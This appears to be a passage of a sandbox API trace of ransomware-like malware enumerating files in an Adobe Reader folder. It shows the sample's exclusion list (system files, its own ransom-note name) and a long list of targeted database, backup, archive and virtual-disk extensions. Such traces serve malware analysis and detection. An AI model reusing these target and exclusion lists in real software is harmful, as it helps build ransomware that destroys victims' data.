	[0060.589] lstrcmpiW (lpString1="nppdf32.CHS", lpString2="MSBuild") returned 1
	[0060.589] lstrlenW (lpString="nppdf32.CHS") returned 11
	[0060.589] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.CAT") returned 63
	[0060.589] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="nppdf32.CHS" | out: lpString1="nppdf32.CHS") returned="nppdf32.CHS"
	[0060.589] lstrlenW (lpString="nppdf32.CHS") returned 11
	[0060.589] lstrlenW (lpString="Apollon865") returned 10
	[0060.589] lstrcmpiW (lpString1="ppdf32.CHS", lpString2="Apollon865") returned 1
	[0060.589] lstrlenW (lpString=".dll") returned 4
	[0060.589] lstrcmpiW (lpString1="nppdf32.CHS", lpString2=".dll") returned 1
	[0060.589] lstrlenW (lpString=".lnk") returned 4
	[0060.589] lstrcmpiW (lpString1="nppdf32.CHS", lpString2=".lnk") returned 1
	[0060.589] lstrlenW (lpString=".ini") returned 4
	[0060.589] lstrcmpiW (lpString1="nppdf32.CHS", lpString2=".ini") returned 1
	[0060.589] lstrlenW (lpString=".sys") returned 4
	[0060.589] lstrcmpiW (lpString1="nppdf32.CHS", lpString2=".sys") returned 1
	[0060.589] lstrlenW (lpString="nppdf32.CHS") returned 11
	[0060.589] lstrlenW (lpString="bak") returned 3
	[0060.589] lstrcmpiW (lpString1="CHS", lpString2="bak") returned 1
	[0060.589] lstrlenW (lpString="ba_") returned 3
	[0060.589] lstrcmpiW (lpString1="CHS", lpString2="ba_") returned 1
	[0060.589] lstrlenW (lpString="dbb") returned 3
	[0060.589] lstrcmpiW (lpString1="CHS", lpString2="dbb") returned -1
	[0060.589] lstrlenW (lpString="vmdk") returned 4
	[0060.589] lstrcmpiW (lpString1=".CHS", lpString2="vmdk") returned -1
	[0060.589] lstrlenW (lpString="rar") returned 3
	[0060.589] lstrcmpiW (lpString1="CHS", lpString2="rar") returned -1
	[0060.589] lstrlenW (lpString="zip") returned 3
	[0060.589] lstrcmpiW (lpString1="CHS", lpString2="zip") returned -1
	[0060.589] lstrlenW (lpString="tgz") returned 3
	[0060.589] lstrcmpiW (lpString1="CHS", lpString2="tgz") returned -1
	[0060.589] lstrlenW (lpString="vbox") returned 4
	[0060.589] lstrcmpiW (lpString1=".CHS", lpString2="vbox") returned -1
	[0060.590] lstrlenW (lpString="vdi") returned 3
	[0060.590] lstrcmpiW (lpString1="CHS", lpString2="vdi") returned -1
	[0060.590] lstrlenW (lpString="vhd") returned 3
	[0060.590] lstrcmpiW (lpString1="CHS", lpString2="vhd") returned -1
	[0060.590] lstrlenW (lpString="vhdx") returned 4
	[0060.590] lstrcmpiW (lpString1=".CHS", lpString2="vhdx") returned -1
	[0060.590] lstrlenW (lpString="avhd") returned 4
	[0060.590] lstrcmpiW (lpString1=".CHS", lpString2="avhd") returned -1
	[0060.590] lstrlenW (lpString="db") returned 2
	[0060.590] lstrcmpiW (lpString1="HS", lpString2="db") returned 1
	[0060.590] lstrlenW (lpString="db2") returned 3
	[0060.590] lstrcmpiW (lpString1="CHS", lpString2="db2") returned -1
	[0060.590] lstrlenW (lpString="db3") returned 3
	[0060.590] lstrcmpiW (lpString1="CHS", lpString2="db3") returned -1
	[0060.590] lstrlenW (lpString="dbf") returned 3
	[0060.590] lstrcmpiW (lpString1="CHS", lpString2="dbf") returned -1
	[0060.590] lstrlenW (lpString="mdf") returned 3
	[0060.590] lstrcmpiW (lpString1="CHS", lpString2="mdf") returned -1
	[0060.590] lstrlenW (lpString="mdb") returned 3
	[0060.590] lstrcmpiW (lpString1="CHS", lpString2="mdb") returned -1
	[0060.590] lstrlenW (lpString="sql") returned 3
	[0060.590] lstrcmpiW (lpString1="CHS", lpString2="sql") returned -1
	[0060.590] lstrlenW (lpString="sqlite") returned 6
	[0060.590] lstrcmpiW (lpString1="32.CHS", lpString2="sqlite") returned -1
	[0060.590] lstrlenW (lpString="sqlite3") returned 7
	[0060.590] lstrcmpiW (lpString1="f32.CHS", lpString2="sqlite3") returned -1
	[0060.590] lstrlenW (lpString="sqlitedb") returned 8
	[0060.590] lstrcmpiW (lpString1="df32.CHS", lpString2="sqlitedb") returned -1
	[0060.590] lstrlenW (lpString="xml") returned 3
	[0060.590] lstrcmpiW (lpString1="CHS", lpString2="xml") returned -1
	[0060.590] lstrlenW (lpString="$er") returned 3
	[0060.590] lstrcmpiW (lpString1="CHS", lpString2="$er") returned 1
	[0060.590] lstrlenW (lpString="4dd") returned 3
	[0060.590] lstrcmpiW (lpString1="CHS", lpString2="4dd") returned 1
	[0060.591] lstrlenW (lpString="4dl") returned 3
	[0060.591] lstrcmpiW (lpString1="CHS", lpString2="4dl") returned 1
	[0060.591] lstrlenW (lpString="^^^") returned 3
	[0060.591] lstrcmpiW (lpString1="CHS", lpString2="^^^") returned 1
	[0060.591] lstrlenW (lpString="abs") returned 3
	[0060.591] lstrcmpiW (lpString1="CHS", lpString2="abs") returned 1
	[0060.591] lstrlenW (lpString="abx") returned 3
	[0060.591] lstrcmpiW (lpString1="CHS", lpString2="abx") returned 1
	[0060.591] lstrlenW (lpString="accdb") returned 5
	[0060.591] lstrcmpiW (lpString1="2.CHS", lpString2="accdb") returned -1
	[0060.591] lstrlenW (lpString="accdc") returned 5
	[0060.591] lstrcmpiW (lpString1="2.CHS", lpString2="accdc") returned -1
	[0060.591] lstrlenW (lpString="accde") returned 5
	[0060.591] lstrcmpiW (lpString1="2.CHS", lpString2="accde") returned -1
	[0060.591] lstrlenW (lpString="accdr") returned 5
	[0060.591] lstrcmpiW (lpString1="2.CHS", lpString2="accdr") returned -1
	[0060.591] lstrlenW (lpString="accdt") returned 5
	[0060.591] lstrcmpiW (lpString1="2.CHS", lpString2="accdt") returned -1
	[0060.591] lstrlenW (lpString="accdw") returned 5
	[0060.591] lstrcmpiW (lpString1="2.CHS", lpString2="accdw") returned -1
	[0060.591] lstrlenW (lpString="accft") returned 5
	[0060.591] lstrcmpiW (lpString1="2.CHS", lpString2="accft") returned -1
	[0060.591] lstrlenW (lpString="adb") returned 3
	[0060.591] lstrcmpiW (lpString1="CHS", lpString2="adb") returned 1
	[0060.591] lstrlenW (lpString="adb") returned 3
	[0060.591] lstrcmpiW (lpString1="CHS", lpString2="adb") returned 1
	[0060.591] lstrlenW (lpString="ade") returned 3
	[0060.591] lstrcmpiW (lpString1="CHS", lpString2="ade") returned 1
	[0060.591] lstrlenW (lpString="adf") returned 3
	[0060.591] lstrcmpiW (lpString1="CHS", lpString2="adf") returned 1
	[0060.591] lstrlenW (lpString="adn") returned 3
	[0060.592] lstrcmpiW (lpString1="CHS", lpString2="adn") returned 1
	[0060.592] lstrlenW (lpString="adp") returned 3
	[0060.592] lstrcmpiW (lpString1="CHS", lpString2="adp") returned 1
	[0060.592] lstrlenW (lpString="alf") returned 3
	[0060.592] lstrcmpiW (lpString1="CHS", lpString2="alf") returned 1
	[0060.592] lstrlenW (lpString="ask") returned 3
	[0060.592] lstrcmpiW (lpString1="CHS", lpString2="ask") returned 1
	[0060.592] lstrlenW (lpString="btr") returned 3
	[0060.592] lstrcmpiW (lpString1="CHS", lpString2="btr") returned 1
	[0060.592] lstrlenW (lpString="cat") returned 3
	[0060.592] lstrcmpiW (lpString1="CHS", lpString2="cat") returned 1
	[0060.592] lstrlenW (lpString="cdb") returned 3
	[0060.592] lstrcmpiW (lpString1="CHS", lpString2="cdb") returned 1
	[0060.592] lstrlenW (lpString="ckp") returned 3
	[0060.592] lstrcmpiW (lpString1="CHS", lpString2="ckp") returned -1
	[0060.592] lstrlenW (lpString="cma") returned 3
	[0060.592] lstrcmpiW (lpString1="CHS", lpString2="cma") returned -1
	[0060.592] lstrlenW (lpString="cpd") returned 3
	[0060.592] lstrcmpiW (lpString1="CHS", lpString2="cpd") returned -1
	[0060.592] lstrlenW (lpString="dacpac") returned 6
	[0060.592] lstrcmpiW (lpString1="32.CHS", lpString2="dacpac") returned -1
	[0060.592] lstrlenW (lpString="dad") returned 3
	[0060.592] lstrcmpiW (lpString1="CHS", lpString2="dad") returned -1
	[0060.592] lstrlenW (lpString="dadiagrams") returned 10
	[0060.592] lstrcmpiW (lpString1="ppdf32.CHS", lpString2="dadiagrams") returned 1
	[0060.592] lstrlenW (lpString="daschema") returned 8
	[0060.592] lstrcmpiW (lpString1="df32.CHS", lpString2="daschema") returned 1
	[0060.592] lstrlenW (lpString="db-journal") returned 10
	[0060.592] lstrcmpiW (lpString1="ppdf32.CHS", lpString2="db-journal") returned 1
	[0060.592] lstrlenW (lpString="db-shm") returned 6
	[0060.592] lstrcmpiW (lpString1="32.CHS", lpString2="db-shm") returned -1
	[0060.592] lstrlenW (lpString="db-wal") returned 6
	[0060.592] lstrcmpiW (lpString1="32.CHS", lpString2="db-wal") returned -1
	[0060.592] lstrlenW (lpString="dbc") returned 3
	[0060.593] lstrcmpiW (lpString1="CHS", lpString2="dbc") returned -1
	[0060.593] lstrlenW (lpString="dbs") returned 3
	[0060.593] lstrcmpiW (lpString1="CHS", lpString2="dbs") returned -1
	[0060.593] lstrlenW (lpString="dbt") returned 3
	[0060.593] lstrcmpiW (lpString1="CHS", lpString2="dbt") returned -1
	[0060.593] lstrlenW (lpString="dbv") returned 3
	[0060.593] lstrcmpiW (lpString1="CHS", lpString2="dbv") returned -1
	[0060.593] lstrlenW (lpString="dbx") returned 3
	[0060.593] lstrcmpiW (lpString1="CHS", lpString2="dbx") returned -1
	[0060.593] lstrlenW (lpString="dcb") returned 3
	[0060.593] lstrcmpiW (lpString1="CHS", lpString2="dcb") returned -1
	[0060.593] lstrlenW (lpString="dct") returned 3
	[0060.593] lstrcmpiW (lpString1="CHS", lpString2="dct") returned -1
	[0060.593] lstrlenW (lpString="dcx") returned 3
	[0060.593] lstrcmpiW (lpString1="CHS", lpString2="dcx") returned -1
	[0060.593] lstrlenW (lpString="ddl") returned 3
	[0060.593] lstrcmpiW (lpString1="CHS", lpString2="ddl") returned -1
	[0060.593] lstrlenW (lpString="dlis") returned 4
	[0060.593] lstrcmpiW (lpString1=".CHS", lpString2="dlis") returned -1
	[0060.593] lstrlenW (lpString="dp1") returned 3
	[0060.593] lstrcmpiW (lpString1="CHS", lpString2="dp1") returned -1
	[0060.593] lstrlenW (lpString="dqy") returned 3
	[0060.593] lstrcmpiW (lpString1="CHS", lpString2="dqy") returned -1
	[0060.593] lstrlenW (lpString="dsk") returned 3
	[0060.593] lstrcmpiW (lpString1="CHS", lpString2="dsk") returned -1
	[0060.593] lstrlenW (lpString="dsn") returned 3
	[0060.593] lstrcmpiW (lpString1="CHS", lpString2="dsn") returned -1
	[0060.593] lstrlenW (lpString="dtsx") returned 4
	[0060.593] lstrcmpiW (lpString1=".CHS", lpString2="dtsx") returned -1
	[0060.593] lstrlenW (lpString="dxl") returned 3
	[0060.593] lstrcmpiW (lpString1="CHS", lpString2="dxl") returned -1
	[0060.593] lstrlenW (lpString="eco") returned 3
	[0060.593] lstrcmpiW (lpString1="CHS", lpString2="eco") returned -1
	[0060.593] lstrlenW (lpString="ecx") returned 3
	[0060.594] lstrcmpiW (lpString1="CHS", lpString2="ecx") returned -1
	[0060.594] lstrlenW (lpString="edb") returned 3
	[0060.594] lstrcmpiW (lpString1="CHS", lpString2="edb") returned -1
	[0060.594] lstrlenW (lpString="epim") returned 4
	[0060.594] lstrcmpiW (lpString1=".CHS", lpString2="epim") returned -1
	[0060.594] lstrlenW (lpString="fcd") returned 3
	[0060.594] lstrcmpiW (lpString1="CHS", lpString2="fcd") returned -1
	[0060.594] lstrlenW (lpString="fdb") returned 3
	[0060.594] lstrcmpiW (lpString1="CHS", lpString2="fdb") returned -1
	[0060.594] lstrlenW (lpString="fic") returned 3
	[0060.594] lstrcmpiW (lpString1="CHS", lpString2="fic") returned -1
	[0060.594] lstrlenW (lpString="flexolibrary") returned 12
	[0060.594] lstrlenW (lpString="fm5") returned 3
	[0060.594] lstrcmpiW (lpString1="CHS", lpString2="fm5") returned -1
	[0060.594] lstrlenW (lpString="fmp") returned 3
	[0060.594] lstrcmpiW (lpString1="CHS", lpString2="fmp") returned -1
	[0060.594] lstrlenW (lpString="fmp12") returned 5
	[0060.594] lstrcmpiW (lpString1="2.CHS", lpString2="fmp12") returned -1
	[0060.594] lstrlenW (lpString="fmpsl") returned 5
	[0060.594] lstrcmpiW (lpString1="2.CHS", lpString2="fmpsl") returned -1
	[0060.594] lstrlenW (lpString="fol") returned 3
	[0060.594] lstrcmpiW (lpString1="CHS", lpString2="fol") returned -1
	[0060.594] lstrlenW (lpString="fp3") returned 3
	[0060.594] lstrcmpiW (lpString1="CHS", lpString2="fp3") returned -1
	[0060.594] lstrlenW (lpString="fp4") returned 3
	[0060.594] lstrcmpiW (lpString1="CHS", lpString2="fp4") returned -1
	[0060.594] lstrlenW (lpString="fp5") returned 3
	[0060.594] lstrcmpiW (lpString1="CHS", lpString2="fp5") returned -1
	[0060.594] lstrlenW (lpString="fp7") returned 3
	[0060.594] lstrcmpiW (lpString1="CHS", lpString2="fp7") returned -1
	[0060.594] lstrlenW (lpString="fpt") returned 3
	[0060.594] lstrcmpiW (lpString1="CHS", lpString2="fpt") returned -1
	[0060.594] lstrlenW (lpString="frm") returned 3
	[0060.594] lstrcmpiW (lpString1="CHS", lpString2="frm") returned -1
	[0060.595] lstrlenW (lpString="gdb") returned 3
	[0060.595] lstrcmpiW (lpString1="CHS", lpString2="gdb") returned -1
	[0060.595] lstrlenW (lpString="gdb") returned 3
	[0060.595] lstrcmpiW (lpString1="CHS", lpString2="gdb") returned -1
	[0060.595] lstrlenW (lpString="grdb") returned 4
	[0060.595] lstrcmpiW (lpString1=".CHS", lpString2="grdb") returned -1
	[0060.595] lstrlenW (lpString="gwi") returned 3
	[0060.595] lstrcmpiW (lpString1="CHS", lpString2="gwi") returned -1
	[0060.595] lstrlenW (lpString="hdb") returned 3
	[0060.595] lstrcmpiW (lpString1="CHS", lpString2="hdb") returned -1
	[0060.595] lstrlenW (lpString="his") returned 3
	[0060.595] lstrcmpiW (lpString1="CHS", lpString2="his") returned -1
	[0060.595] lstrlenW (lpString="ib") returned 2
	[0060.595] lstrcmpiW (lpString1="HS", lpString2="ib") returned -1
	[0060.595] lstrlenW (lpString="idb") returned 3
	[0060.595] lstrcmpiW (lpString1="CHS", lpString2="idb") returned -1
	[0060.595] lstrlenW (lpString="ihx") returned 3
	[0060.595] lstrcmpiW (lpString1="CHS", lpString2="ihx") returned -1
	[0060.595] lstrlenW (lpString="itdb") returned 4
	[0060.595] lstrcmpiW (lpString1=".CHS", lpString2="itdb") returned -1
	[0060.595] lstrlenW (lpString="itw") returned 3
	[0060.595] lstrcmpiW (lpString1="CHS", lpString2="itw") returned -1
	[0060.595] lstrlenW (lpString="jet") returned 3
	[0060.595] lstrcmpiW (lpString1="CHS", lpString2="jet") returned -1
	[0060.595] lstrlenW (lpString="jtx") returned 3
	[0060.595] lstrcmpiW (lpString1="CHS", lpString2="jtx") returned -1
	[0060.595] lstrlenW (lpString="kdb") returned 3
	[0060.595] lstrcmpiW (lpString1="CHS", lpString2="kdb") returned -1
	[0060.595] lstrlenW (lpString="kexi") returned 4
	[0060.595] lstrcmpiW (lpString1=".CHS", lpString2="kexi") returned -1
	[0060.595] lstrlenW (lpString="kexic") returned 5
	[0060.595] lstrcmpiW (lpString1="2.CHS", lpString2="kexic") returned -1
	[0060.595] lstrlenW (lpString="kexis") returned 5
	[0060.596] lstrcmpiW (lpString1="2.CHS", lpString2="kexis") returned -1
	[0060.596] lstrlenW (lpString="lgc") returned 3
	[0060.596] lstrcmpiW (lpString1="CHS", lpString2="lgc") returned -1
	[0060.596] lstrlenW (lpString="lwx") returned 3
	[0060.596] lstrcmpiW (lpString1="CHS", lpString2="lwx") returned -1
	[0060.596] lstrlenW (lpString="maf") returned 3
	[0060.596] lstrcmpiW (lpString1="CHS", lpString2="maf") returned -1
	[0060.596] lstrlenW (lpString="maq") returned 3
	[0060.596] lstrcmpiW (lpString1="CHS", lpString2="maq") returned -1
	[0060.596] lstrlenW (lpString="mar") returned 3
	[0060.596] lstrcmpiW (lpString1="CHS", lpString2="mar") returned -1
	[0060.596] lstrlenW (lpString="marshal") returned 7
	[0060.596] lstrcmpiW (lpString1="f32.CHS", lpString2="marshal") returned -1
	[0060.596] lstrlenW (lpString="mas") returned 3
	[0060.596] lstrcmpiW (lpString1="CHS", lpString2="mas") returned -1
	[0060.596] lstrlenW (lpString="mav") returned 3
	[0060.596] lstrcmpiW (lpString1="CHS", lpString2="mav") returned -1
	[0060.596] lstrlenW (lpString="maw") returned 3
	[0060.596] lstrcmpiW (lpString1="CHS", lpString2="maw") returned -1
	[0060.596] lstrlenW (lpString="mdbhtml") returned 7
	[0060.596] lstrcmpiW (lpString1="f32.CHS", lpString2="mdbhtml") returned -1
	[0060.596] lstrlenW (lpString="mdn") returned 3
	[0060.596] lstrcmpiW (lpString1="CHS", lpString2="mdn") returned -1
	[0060.596] lstrlenW (lpString="mdt") returned 3
	[0060.596] lstrcmpiW (lpString1="CHS", lpString2="mdt") returned -1
	[0060.596] lstrlenW (lpString="mfd") returned 3
	[0060.596] lstrcmpiW (lpString1="CHS", lpString2="mfd") returned -1
	[0060.596] lstrlenW (lpString="mpd") returned 3
	[0060.596] lstrcmpiW (lpString1="CHS", lpString2="mpd") returned -1
	[0060.596] lstrlenW (lpString="mrg") returned 3
	[0060.596] lstrcmpiW (lpString1="CHS", lpString2="mrg") returned -1
	[0060.596] lstrlenW (lpString="mud") returned 3
	[0060.596] lstrcmpiW (lpString1="CHS", lpString2="mud") returned -1
	[0060.596] lstrlenW (lpString="mwb") returned 3
	[0060.597] lstrcmpiW (lpString1="CHS", lpString2="mwb") returned -1
	[0060.597] lstrlenW (lpString="myd") returned 3
	[0060.597] lstrcmpiW (lpString1="CHS", lpString2="myd") returned -1
	[0060.597] lstrlenW (lpString="ndf") returned 3
	[0060.597] lstrcmpiW (lpString1="CHS", lpString2="ndf") returned -1
	[0060.597] lstrlenW (lpString="nnt") returned 3
	[0060.597] lstrcmpiW (lpString1="CHS", lpString2="nnt") returned -1
	[0060.597] lstrlenW (lpString="nrmlib") returned 6
	[0060.597] lstrcmpiW (lpString1="32.CHS", lpString2="nrmlib") returned -1
	[0060.597] lstrlenW (lpString="ns2") returned 3
	[0060.597] lstrcmpiW (lpString1="CHS", lpString2="ns2") returned -1
	[0060.597] lstrlenW (lpString="ns3") returned 3
	[0060.597] lstrcmpiW (lpString1="CHS", lpString2="ns3") returned -1
	[0060.597] lstrlenW (lpString="ns4") returned 3
	[0060.597] lstrcmpiW (lpString1="CHS", lpString2="ns4") returned -1
	[0060.597] lstrlenW (lpString="nsf") returned 3
	[0060.597] lstrcmpiW (lpString1="CHS", lpString2="nsf") returned -1
	[0060.597] lstrlenW (lpString="nv") returned 2
	[0060.597] lstrcmpiW (lpString1="HS", lpString2="nv") returned -1
	[0060.597] lstrlenW (lpString="nv2") returned 3
	[0060.597] lstrcmpiW (lpString1="CHS", lpString2="nv2") returned -1
	[0060.597] lstrlenW (lpString="nwdb") returned 4
	[0060.597] lstrcmpiW (lpString1=".CHS", lpString2="nwdb") returned -1
	[0060.597] lstrlenW (lpString="nyf") returned 3
	[0060.597] lstrcmpiW (lpString1="CHS", lpString2="nyf") returned -1
	[0060.597] lstrlenW (lpString="odb") returned 3
	[0060.597] lstrcmpiW (lpString1="CHS", lpString2="odb") returned -1
	[0060.597] lstrlenW (lpString="odb") returned 3
	[0060.597] lstrcmpiW (lpString1="CHS", lpString2="odb") returned -1
	[0060.597] lstrlenW (lpString="oqy") returned 3
	[0060.597] lstrcmpiW (lpString1="CHS", lpString2="oqy") returned -1
	[0060.597] lstrlenW (lpString="ora") returned 3
	[0060.597] lstrcmpiW (lpString1="CHS", lpString2="ora") returned -1
	[0060.597] lstrlenW (lpString="orx") returned 3
	[0060.598] lstrcmpiW (lpString1="CHS", lpString2="orx") returned -1
	[0060.598] lstrlenW (lpString="owc") returned 3
	[0060.598] lstrcmpiW (lpString1="CHS", lpString2="owc") returned -1
	[0060.598] lstrlenW (lpString="p96") returned 3
	[0060.598] lstrcmpiW (lpString1="CHS", lpString2="p96") returned -1
	[0060.598] lstrlenW (lpString="p97") returned 3
	[0060.598] lstrcmpiW (lpString1="CHS", lpString2="p97") returned -1
	[0060.598] lstrlenW (lpString="pan") returned 3
	[0060.598] lstrcmpiW (lpString1="CHS", lpString2="pan") returned -1
	[0060.598] lstrlenW (lpString="pdb") returned 3
	[0060.598] lstrcmpiW (lpString1="CHS", lpString2="pdb") returned -1
	[0060.598] lstrlenW (lpString="pdm") returned 3
	[0060.598] lstrcmpiW (lpString1="CHS", lpString2="pdm") returned -1
	[0060.598] lstrlenW (lpString="pnz") returned 3
	[0060.598] lstrcmpiW (lpString1="CHS", lpString2="pnz") returned -1
	[0060.598] lstrlenW (lpString="qry") returned 3
	[0060.598] lstrcmpiW (lpString1="CHS", lpString2="qry") returned -1
	[0060.598] lstrlenW (lpString="qvd") returned 3
	[0060.598] lstrcmpiW (lpString1="CHS", lpString2="qvd") returned -1
	[0060.598] lstrlenW (lpString="rbf") returned 3
	[0060.598] lstrcmpiW (lpString1="CHS", lpString2="rbf") returned -1
	[0060.598] lstrlenW (lpString="rctd") returned 4
	[0060.598] lstrcmpiW (lpString1=".CHS", lpString2="rctd") returned -1
	[0060.598] lstrlenW (lpString="rod") returned 3
	[0060.598] lstrcmpiW (lpString1="CHS", lpString2="rod") returned -1
	[0060.598] lstrlenW (lpString="rodx") returned 4
	[0060.598] lstrcmpiW (lpString1=".CHS", lpString2="rodx") returned -1
	[0060.598] lstrlenW (lpString="rpd") returned 3
	[0060.598] lstrcmpiW (lpString1="CHS", lpString2="rpd") returned -1
	[0060.598] lstrlenW (lpString="rsd") returned 3
	[0060.598] lstrcmpiW (lpString1="CHS", lpString2="rsd") returned -1
	[0060.598] lstrlenW (lpString="sas7bdat") returned 8
	[0060.598] lstrcmpiW (lpString1="df32.CHS", lpString2="sas7bdat") returned -1
	[0060.598] lstrlenW (lpString="sbf") returned 3
	[0060.599] lstrcmpiW (lpString1="CHS", lpString2="sbf") returned -1
	[0060.599] lstrlenW (lpString="scx") returned 3
	[0060.599] lstrcmpiW (lpString1="CHS", lpString2="scx") returned -1
	[0060.599] lstrlenW (lpString="sdb") returned 3
	[0060.599] lstrcmpiW (lpString1="CHS", lpString2="sdb") returned -1
	[0060.599] lstrlenW (lpString="sdc") returned 3
	[0060.599] lstrcmpiW (lpString1="CHS", lpString2="sdc") returned -1
	[0060.599] lstrlenW (lpString="sdf") returned 3
	[0060.599] lstrcmpiW (lpString1="CHS", lpString2="sdf") returned -1
	[0060.599] lstrlenW (lpString="sis") returned 3
	[0060.599] lstrcmpiW (lpString1="CHS", lpString2="sis") returned -1
	[0060.599] lstrlenW (lpString="spq") returned 3
	[0060.599] lstrcmpiW (lpString1="CHS", lpString2="spq") returned -1
	[0060.599] lstrlenW (lpString="te") returned 2
	[0060.599] lstrcmpiW (lpString1="HS", lpString2="te") returned -1
	[0060.599] lstrlenW (lpString="teacher") returned 7
	[0060.599] lstrcmpiW (lpString1="f32.CHS", lpString2="teacher") returned -1
	[0060.599] lstrlenW (lpString="tmd") returned 3
	[0060.599] lstrcmpiW (lpString1="CHS", lpString2="tmd") returned -1
	[0060.599] lstrlenW (lpString="tps") returned 3
	[0060.599] lstrcmpiW (lpString1="CHS", lpString2="tps") returned -1
	[0060.599] lstrlenW (lpString="trc") returned 3
	[0060.599] lstrcmpiW (lpString1="CHS", lpString2="trc") returned -1
	[0060.599] lstrlenW (lpString="trc") returned 3
	[0060.599] lstrcmpiW (lpString1="CHS", lpString2="trc") returned -1
	[0060.599] lstrlenW (lpString="trm") returned 3
	[0060.599] lstrcmpiW (lpString1="CHS", lpString2="trm") returned -1
	[0060.599] lstrlenW (lpString="udb") returned 3
	[0060.599] lstrcmpiW (lpString1="CHS", lpString2="udb") returned -1
	[0060.599] lstrlenW (lpString="udl") returned 3
	[0060.599] lstrcmpiW (lpString1="CHS", lpString2="udl") returned -1
	[0060.599] lstrlenW (lpString="usr") returned 3
	[0060.599] lstrcmpiW (lpString1="CHS", lpString2="usr") returned -1
	[0060.599] lstrlenW (lpString="v12") returned 3
	[0060.600] lstrcmpiW (lpString1="CHS", lpString2="v12") returned -1
	[0060.600] lstrlenW (lpString="vis") returned 3
	[0060.600] lstrcmpiW (lpString1="CHS", lpString2="vis") returned -1
	[0060.600] lstrlenW (lpString="vpd") returned 3
	[0060.600] lstrcmpiW (lpString1="CHS", lpString2="vpd") returned -1
	[0060.600] lstrlenW (lpString="vvv") returned 3
	[0060.600] lstrcmpiW (lpString1="CHS", lpString2="vvv") returned -1
	[0060.600] lstrlenW (lpString="wdb") returned 3
	[0060.600] lstrcmpiW (lpString1="CHS", lpString2="wdb") returned -1
	[0060.600] lstrlenW (lpString="wmdb") returned 4
	[0060.600] lstrcmpiW (lpString1=".CHS", lpString2="wmdb") returned -1
	[0060.600] lstrlenW (lpString="wrk") returned 3
	[0060.600] lstrcmpiW (lpString1="CHS", lpString2="wrk") returned -1
	[0060.600] lstrlenW (lpString="xdb") returned 3
	[0060.600] lstrcmpiW (lpString1="CHS", lpString2="xdb") returned -1
	[0060.600] lstrlenW (lpString="xld") returned 3
	[0060.600] lstrcmpiW (lpString1="CHS", lpString2="xld") returned -1
	[0060.600] lstrlenW (lpString="xmlff") returned 5
	[0060.600] lstrcmpiW (lpString1="2.CHS", lpString2="xmlff") returned -1
	[0060.600] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802ba700, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nppdf32.CHT", cAlternateFileName="")) returned 1
	[0060.600] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.600] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="Apollon865.txt.exe") returned 1
	[0060.600] lstrcmpiW (lpString1="nppdf32.CHT", lpString2=".") returned 1
	[0060.600] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="..") returned 1
	[0060.600] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="windows") returned -1
	[0060.600] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="bootmgr") returned 1
	[0060.600] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="temp") returned -1
	[0060.600] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="pagefile.sys") returned -1
	[0060.600] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="boot") returned 1
	[0060.600] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="ids.txt") returned 1
	[0060.600] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="ntuser.dat") returned -1
	[0060.600] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="perflogs") returned -1
	[0060.600] lstrcmpiW (lpString1="nppdf32.CHT", lpString2="MSBuild") returned 1
	[0060.601] lstrlenW (lpString="nppdf32.CHT") returned 11
	[0060.601] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.CHS") returned 63
	[0060.601] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="nppdf32.CHT" | out: lpString1="nppdf32.CHT") returned="nppdf32.CHT"
	[0060.601] lstrlenW (lpString="nppdf32.CHT") returned 11
	[0060.601] lstrlenW (lpString="Apollon865") returned 10
	[0060.601] lstrcmpiW (lpString1="ppdf32.CHT", lpString2="Apollon865") returned 1
	[0060.601] lstrlenW (lpString=".dll") returned 4
	[0060.601] lstrcmpiW (lpString1="nppdf32.CHT", lpString2=".dll") returned 1
	[0060.601] lstrlenW (lpString=".lnk") returned 4
	[0060.601] lstrcmpiW (lpString1="nppdf32.CHT", lpString2=".lnk") returned 1
	[0060.601] lstrlenW (lpString=".ini") returned 4
	[0060.601] lstrcmpiW (lpString1="nppdf32.CHT", lpString2=".ini") returned 1
	[0060.601] lstrlenW (lpString=".sys") returned 4
	[0060.601] lstrcmpiW (lpString1="nppdf32.CHT", lpString2=".sys") returned 1
	[0060.601] lstrlenW (lpString="nppdf32.CHT") returned 11
	[0060.601] lstrlenW (lpString="bak") returned 3
	[0060.601] lstrcmpiW (lpString1="CHT", lpString2="bak") returned 1
	[0060.601] lstrlenW (lpString="ba_") returned 3
	[0060.601] lstrcmpiW (lpString1="CHT", lpString2="ba_") returned 1
	[0060.601] lstrlenW (lpString="dbb") returned 3
	[0060.601] lstrcmpiW (lpString1="CHT", lpString2="dbb") returned -1
	[0060.601] lstrlenW (lpString="vmdk") returned 4
	[0060.601] lstrcmpiW (lpString1=".CHT", lpString2="vmdk") returned -1
	[0060.601] lstrlenW (lpString="rar") returned 3
	[0060.601] lstrcmpiW (lpString1="CHT", lpString2="rar") returned -1
	[0060.601] lstrlenW (lpString="zip") returned 3
	[0060.601] lstrcmpiW (lpString1="CHT", lpString2="zip") returned -1
	[0060.601] lstrlenW (lpString="tgz") returned 3
	[0060.601] lstrcmpiW (lpString1="CHT", lpString2="tgz") returned -1
	[0060.601] lstrlenW (lpString="vbox") returned 4
	[0060.601] lstrcmpiW (lpString1=".CHT", lpString2="vbox") returned -1
